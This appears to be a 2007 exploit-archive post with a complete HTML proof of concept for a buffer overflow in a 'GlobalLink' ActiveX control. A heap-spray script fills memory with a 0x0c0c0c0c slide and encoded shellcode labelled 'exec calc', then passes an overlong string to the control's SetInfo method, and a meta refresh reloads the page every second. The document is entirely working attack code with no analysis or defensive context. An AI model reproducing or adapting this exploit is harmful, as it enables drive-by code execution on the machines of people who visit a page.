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globallink-overflow.txt

Posted on 06 September 2007

<html>
<body>
<object id="gl" classid="clsid:1C9B434A-0898-498A-B802-B00FA0962214"></object>
<script>
document.write("<meta http-equiv="refresh" content="1, " + window.location.href + ""></meta>");

var heapSprayToAddress = 0x0c0c0c0c;
var shellcode = unescape(
"%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
// exec calc
"%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%uf513" +
"%ue2ce%u8369%ufceb%uf4e2%u2609%u69a6%ucef5%u2c69" +
"%u45c9%u6c9e%ucf8d%ue20d%ud6ba%u3669%ucfd5%u2009" +
"%ufa7e%u6869%uff1b%uf022%u4a59%u1d22%u0ff2%u6428" +
"%u0cf4%u9d09%u9ace%u6dc6%u2b80%u3669%ucfd1%u0f09" +
"%uc27e%ue2a9%ud2aa%u82e3%ud27e%u6869%u471e%u4dbe" +
"%u0df1%ua9d3%u4591%u59a2%u0e70%u659a%u8e7e%ue2ee" +
"%ud285%ue24f%uc69d%u6009%u4e7e%u6952%ucef5%u0169" +
"%u91c9%u9fd3%u9895%u916b%u0e76%u3999%u3e9d%u6d68" +
"%ua6aa%u977a%uc07f%u96b5%uad12%u0583%uce96%u69e2"
);

var heapBlockSize = 0x100000;
var payLoadSize = shellcode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0c0c%u0c0c");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;
memory = new Array();

for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + shellcode;
}

function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}

var s = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "x0cx0cx0cx0c";
gl.SetInfo("", "", "", 1, 1, 1, "", s);
</script>
</body>
</html>

 

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